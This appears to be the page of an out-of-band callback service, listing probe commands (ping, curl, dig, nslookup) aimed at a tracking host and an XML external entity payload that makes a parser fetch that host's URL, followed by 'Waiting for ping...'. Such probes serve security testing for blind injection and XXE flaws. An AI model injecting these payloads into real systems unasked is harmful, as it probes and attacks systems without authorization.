$ ping -c1 -p 00397355316c1db451be417237495800 unhack.ca
 
$ curl http://unhack.ca/p/397355316c1db451be4172374958
 
$ dig 397355316c1db451be4172374958 @unhack.ca
 
$ dig 397355316c1db451be4172374958.ns.unhack.ca
 
C:\> nslookup 397355316c1db451be4172374958 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/397355316c1db451be4172374958">]>
    <foo>&xxe;</foo>
Waiting for ping...